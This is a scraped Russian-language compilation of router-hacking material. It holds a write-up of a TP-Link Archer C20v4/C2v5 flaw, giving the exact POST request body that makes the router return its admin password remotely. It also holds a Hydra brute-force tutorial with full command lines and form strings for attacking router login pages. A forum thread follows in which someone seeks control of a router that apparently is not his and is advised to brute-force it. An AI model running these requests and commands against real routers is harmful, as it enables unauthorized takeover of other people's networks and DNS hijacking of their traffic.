Обход пароля роутера tp link

Взлом с подменой dns достаточно распространенный способ атаки. В первую очередь из-за его простоты. Суть атаки в изменении адреса dns в настройках сетевого оборудования жертвы на адрес dns-сервера злоумышленника с целью возврата ложных ip. А уже далее, кто во что горазд — от банальных фишинговых страничек соцсетей для кражи паролей до якобы провайдерской заглушки с требованиями оплаты.

Самое интересное во всем этом я считаю способы, с помощью которых боты, так или иначе, попадают на роутеры. И сегодня я про один из таких способов расскажу.

Что имеем:

  1. Новенький роутер Archer c20v4, только из коробки, с последней официальной прошивкой.
  2. Внешний ip адрес на wan интерфейсе и открытый web доступ.
  3. Достаточно сложный пароль, чтобы не беспокоиться о его подборе и ограниченный круг лиц знающий его.
  4. Спустя сутки: подмена dns и все запросы заворачиваются на заглушку.

Первым делом на тестовом пациенте были опробованы все известные старые баги, которые нашлись в гугле. Конечно же ничего не сработало.

Был найден скрипт на гитхабе (тык) который позволяет удаленно, от рута, выполнять команды на моделях C20i и C2. Немного не то, что нам нужно, но задало верное направление.

Во всех функциях были одинаковые «оболочки» для запросов — это POST запросы на url /cgi?2( и 7), «[название_настройки#0,0,0,0,0,0#0,0,0,0,0,0]» и особый referer.

Скачиваем с официального сайта tp-link исходные коды нашей прошивки и распаковываем. Т.к. линейка роутеров одна, то и ПО должно быть хоть чуточку похожим, верно?

grep -Hrn "/cgi?2" ---------------------------------------------- ../../setPwd.htm:278: xmlHttpObj.open("POST", "/cgi?2", true);

Бинго. Название файла как бы намекает, что дальше будет очень интересно. Находим в коде строчку, в которой видели заветное «cgi?2». Ниже приведена целиком функция:

 function doSetUsrName() < var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName=" + $("newUsr").value + "\r\n"; xmlHttpObj = getHttpObject(function() < if (xmlHttpObj.status == 200) < getUsrName(); >else return; >); xmlHttpObj.open("POST", "/cgi?2", true); xmlHttpObj.send(args); > 

Эта функция при выполнении вызывает другую — getUsrName().

 function getUsrName() < var xmlHttpObj; var args = "[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,1\r\nadminName\r\n"; xmlHttpObj = getHttpObject(function() < if (xmlHttpObj.status == 200) < currUserName = xmlHttpObj.responseText.split("\n")[1].replace("adminName=", ""); doSetPassword(); >else return; >); xmlHttpObj.open("POST", "/cgi?1", true); xmlHttpObj.send(args); > 

Но просто с логином ничего не сделать. Нас интересует пароль. Мы знаем, что логин хранится в переменной adminName, внутри объекта USER_CFG. Поиск по исходникам дал следующие результаты: (оставлю только нужный результат)

grep -Hrn USER_CFG ------------------------ sysfiles/config/en/common/reduced_data_model.xml 

Открываем reduced_data_model.xml и находим в нем следующий фрагмент кода:

Тут у нас хранится уже известная нам переменная «AdminName» и рядышком — AdminPwd. Похоже на правду.

Теперь нам осталось сформировать корректный POST-запрос, на который роутер нам ответить нужными данными. Обратимся снова к скрипту с гитхаба и посмотрим, как сделано там:

data = ( "[IPPING_DIAG#0,0,0,0,0,0#0,0,0,0,0,0]0,6\r\n" "dataBlockSize=64\r\n" "timeout=1\r\n" "numberOfRepetitions=1\r\n" "host=127.0.0.1\r\n" "X_TP_ConnName=ewan_ipoe_s\r\n" "diagnosticsState=Requested\r\n" )

По аналогии формируем свой запрос:

"[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\n" "adminName\r\n" "adminPwd\r\n"

Ииииии отправляем. В Wireshark’e пакет выглядит вот так:

Внимательный читатель заметит, что POST-запрос был отправлен к «/cgi?1», а не как в скрипте к «/cgi?2». Всё верно. Нам нужно всего лишь узнать пароль. Получив данные для авторизации можно заниматься уже форменным безобразием.

Читайте также:  Роутер маршрутизатор для квартиры

И уже авторизованным сдираем любые данные, какие мы только посчитаем важными, посмотрев в файлике reduced_data_model.xml:

На данный момент исходные коды роутера C20v4 убраны с сайта Tp-Link и выложены вместо них коды V5. Но официальной прошивки пока, к сожалению, нет.

Хорошая новость: Данная уязвимость эксплуатируется только, если веб доступ открыт для всех.
Плохая новость: чьи-то боты уже стучаться по внешним адресам с правильными запросами.

Помимо модели ArcherC20V4 данной уязвимости так же подвержена модель ArcherC2V5.

Источник

Взлом «админки» роутера

image

В общем, решил я по своим нуждам покопаться в настройках роутера, вбиваю я всем знакомый адрес, а тут пароль спрашивают. Как быть? Ну, начал я перебирать пароли, а их количество слишком большое, что бы перебирать все и слишком маленькое, чтобы делать reset.

И я открыл google. После пары запросов я узнал о такой вещи как hydra. И тут началось: жажда открытий, поиски неизведанного и так далее.

Приступим

Первым делом мной был составлен словарь паролей, ни много, ни мало, аж на 25 комбинаций. Далее качаем либо Kali linux, либо саму Гидру (если вы пингвин у вас линукс). Теперь у нас два варианта (ну как два, я нашел информацию по двум вариантам).

Либо у вас вот такое диалоговое окно:

image

Либо логин и пароль запрашивает форма на сайте. Мой вариант первый, поэтому начнем с него. На нашем пути к «админке» стоит страж в виде диалогового окна. Это вид авторизации http-get.

Открываем терминал. Вводим:

hydra -l admin -P myPass.txt -s 80 192.168.1.1 http-get /

Где после «-l» идет логин, после «-P» словарь, после «-s» порт. Также в нашем распоряжении есть другие флаги:

-R восстановить предыдущую прерванную/оборванную сессию

-S выполнить SSL соединение

-s ПОРТ если служба не на порту по умолчанию, то можно задать порт здесь

-l ЛОГИН или -L ФАЙЛ с ЛОГИНАМИ (именами), или загрузить несколько логинов из ФАЙЛА

-p ПАРОЛЬ или -P ФАЙЛ с паролями для перебора, или загрузить несколько паролей из ФАЙЛА

-x МИНИМУМ: МАКСИМУМ: НАБОР_СИМВОЛОВ генерация паролей для брутфорса, наберите «-x -h» для помощи

-e nsr «n» — пробовать с пустым паролем, «s» — логин в качестве пароля и/или «r» — реверс учётных данных

-u зацикливаться на пользователя, а не на парлях (эффективно! подразумевается с использованием опции -x)

-C ФАЙЛ формат где «логин: пароль» разделены двоеточиями, вместо опции -L/-P

-M ФАЙЛ список серверов для атак, одна запись на строку, после двоеточия ‘:’ можно задать порт

-o ФАЙЛ записывать найденные пары логин/пароль в ФАЙЛ вместо стандартного вывода

-f / -F выйти, когда пара логин/пароль подобрана (-M: -f для хоста, -F глобально)

-t ЗАДАЧИ количество запущенных параллельно ЗАДАЧ (на хост, по умолчанию: 16)

-w / -W ВРЕМЯ время ожидания ответов (32 секунды) / между соединениями на поток
-4 / -6 предпочитать IPv4 (по умолчанию) или IPv6 адреса

Читайте также:  Настройка роутера xiaomi mi router 4a giga version

-v / -V / -d вербальный режим / показывать логин+пароль для каждой попытки / режим отладки

-q не печатать сообщения об ошибках соединения

-U подробные сведения об использовании модуля
server цель: DNS, IP или 192.168.0.0/24 (эта ИЛИ опция -M)
service служба для взлома (смотрите список поддерживаемых протоколов)
OPT некоторые модули служб поддерживают дополнительный ввод (-U для справки по модулю)

image

Не мой, честно взят с Античата, с исправлением грамматических ошибок автора (Обилие знаков пунктуации я оставил). Интересно это можно считать переводом?

Нас встречает форма на сайте:

image

Такой метод авторизации — http-post-form, и тут нужно немного повозится, так как нам нужно понять, как браузер отправляет роутеру данные.

В данном случае и использовал браузер Chrome (его аналог Chromium в Kali Linux, ставится через apt-get install chromium).

Сейчас нужно сделать одну очень глупую вещь… указать неверный логин и пасс…
для чего увидим позже…

Нажимаем F12 что бы перейти в режим редактирования веб-страницы.

image

Переходим в Network → Включаем галочку Preserv log.

image

Вводим ложные логин и пароль…

image

Ну что за дела? Так не пойдет! Более того, после нескольких неудачных попыток входа, форма блокируется на 180 секунд.

Переходим во вкладочку HEADERS ищем строку:

 Request URL:http://192.168.0.1/index.cgi

Отрезаем все до ip-адреса — /index.cgi… Поздравляю мы нашли первую часть скрипта авторизации… Идем дальше… Переходим к вкладке FORM DATA и изменяем режим отображения на VIEV SOURCE.

image

image

update_login=login&update_password=password&check_auth=y&tokenget=1300& update_login=login&update_password=password 

Бинго! Мы нашли вторую часть скрипта авторизации! Еще чуть-чуть! теперь нужно найти страницу с сообщением об ошибке… Нужно нажать на вкладку ELEMENTS.

image

И выбрать элемент HTML кода (CTRL+SHIFT+C) и выбрать окно с сообщением об ошибки… в данном случае — Authentication failed!

image

и немножко правим… bad_auth — все! Ключ практически у нас в кармане… Теперь мы можем полностью написать строку авторизации:

index.cgi:update_login=login&update_password=password:bad_auth 

Теперь нужно подставить вместо «login» — ^USER^ и вместо «password» ^PASS^ и тогда строка будет иметь вид:

index.cgi:update_login=^USER^&update_password=^PASS^:bad_auth 
hydra -l admin -P router-pass.dic -t 1 -e nsr -vV -f -s 80 192.168.0.1 http-post-form "/index.cgi:update_login=^USER^&update_password=^PASS^:bad_auth"

Обратите внимание что между частями скрипта двоеточие! это обязательно! Кстати, блокировки формы через гидру не происходило… Это очень радует.

image

В работоспособности второго метода мне убедиться не светит, так как я не обладатель подходящей модели роутера. Придется довериться экспрессивному человеку с Античата.

Если кому интересно, будьте добры, проверьте и отпишитесь в комментариях. Я работал с роутером TL-WR1043N/TL-WR1043ND. Роутер с Античата — D-link300NRU.

Источник

Обход авторизации к админке роутера

Обойти авторизацию ?
Ты имеешь ввиду, что окно автризации не должно показываться и беспокоить тебя своим присутствием ?
Ты хочешь войти в WEB-интерфейс роутера точно так-же как на любой публичный сайт ?

Tayrus

Обойти авторизацию ?
Ты имеешь ввиду, что окно автризации не должно показываться и беспокоить тебя своим присутствием ?
Ты хочешь войти в WEB-интерфейс роутера точно так-же как на любой публичный сайт ?

Valkiria

Ответ на твой вопрос невозможно дать однозначно.
Это твой роутер или тебе нужно порлучить доступ на чужой ?
Имеешь ли ты физический доступ к роутеру ?
Если роутер чужой и удалённый, то какие меры были предприняты для взлома ?

Читайте также:  Обмен файлами между двумя компьютерами через роутер

Вот от этих ответов во многом зависит ответ на твой первостепенный вопрос.

Tayrus

Ответ на твой вопрос невозможно дать однозначно.
Это твой роутер или тебе нужно порлучить доступ на чужой ?
Имеешь ли ты физический доступ к роутеру ?
Если роутер чужой и удалённый, то какие меры были предприняты для взлома ?

Вот от этих ответов во многом зависит ответ на твой первостепенный вопрос.

Valkiria

Если ты имеешь доступ к роутеру только через Интернет, то пробуй брутфорсить программой Hydra или Patator.
Если ты находишься в радиусе действия Wi-Fi этого роутера, то пробуй взломать соответственно через Wi-Fi.

Tayrus

Если ты имеешь доступ к роутеру только через Интернет, то пробуй брутфорсить программой Hydra или Patator.
Если ты находишься в радиусе действия Wi-Fi этого роутера, то пробуй взломать соответственно через Wi-Fi.

У меня есть пароль от сетки, брутфорс тут увы не поможет, «пробуй взломать соответственно через Wi-Fi» как это можно осуществить?

Valkiria

Tayrus

Я знаю только о существовании сайта routerpwn.com, помогите если не сложно, дайте ссылки на информацию(гуглом пользоваться я умею, увы не нашёл, может слепой/)

The Codeby

Well-known member

Я знаю только о существовании сайта routerpwn.com, помогите если не сложно, дайте ссылки на информацию(гуглом пользоваться я умею, увы не нашёл, может слепой/)

Valkiria

Я знаю только о существовании сайта routerpwn.com, помогите если не сложно, дайте ссылки на информацию(гуглом пользоваться я умею, увы не нашёл, может слепой/)

Чтобы хоть как-то помочь тебе советом, ты ДОЛЖЕН обрисовать ситуацию до мелочей.
А я всю эту тему тем и занималась, что вытягивала по крупицам хоть что-то ))
У меня уже пальцы в мозолях от твоей тугодумности.

Может быть тебе проще спросить пароль у владельца роутера ?

Remir

И зачем лезть куда-то, когда здесь это информации хоть отбавляй! Подсказываю: тут есть такая кнопочка и называется она «Поиск».

11.JPG

Введи туда «взлом роутера» и получишь

Tayrus

Чтобы хоть как-то помочь тебе советом, ты ДОЛЖЕН обрисовать ситуацию до мелочей.
А я всю эту тему тем и занималась, что вытягивала по крупицам хоть что-то ))
У меня уже пальцы в мозолях от твоей тугодумности.

Может быть тебе проще спросить пароль у владельца роутера ?

Хорошо опишу все, у меня стоит задача получить контроль над роутером, т.е web интерфейс его(роутера) получить, чтобы я мог что-то изменить(ну к примеру перепрошить, пароль поменять и т.п) и так я получил пароль от сети и при подключении к 191.168.1.1 просит логин;пароль, стандартные все попробовал неудача, зайти в зону wi fi я могу(ну где роутер) я могу его даже увидеть, но физически контактировать никак, производитель Tp-Link, модель не знаю надеюсь теперь тебе понятна картина.
[doublepost=1513017854,1513017459][/doublepost]

И зачем лезть куда-то, когда здесь это информации хоть отбавляй! Подсказываю: тут есть такая кнопочка и называется она «Поиск».

Введи туда «взлом роутера» и получишь

Источник

Оцените статью
Adblock
detector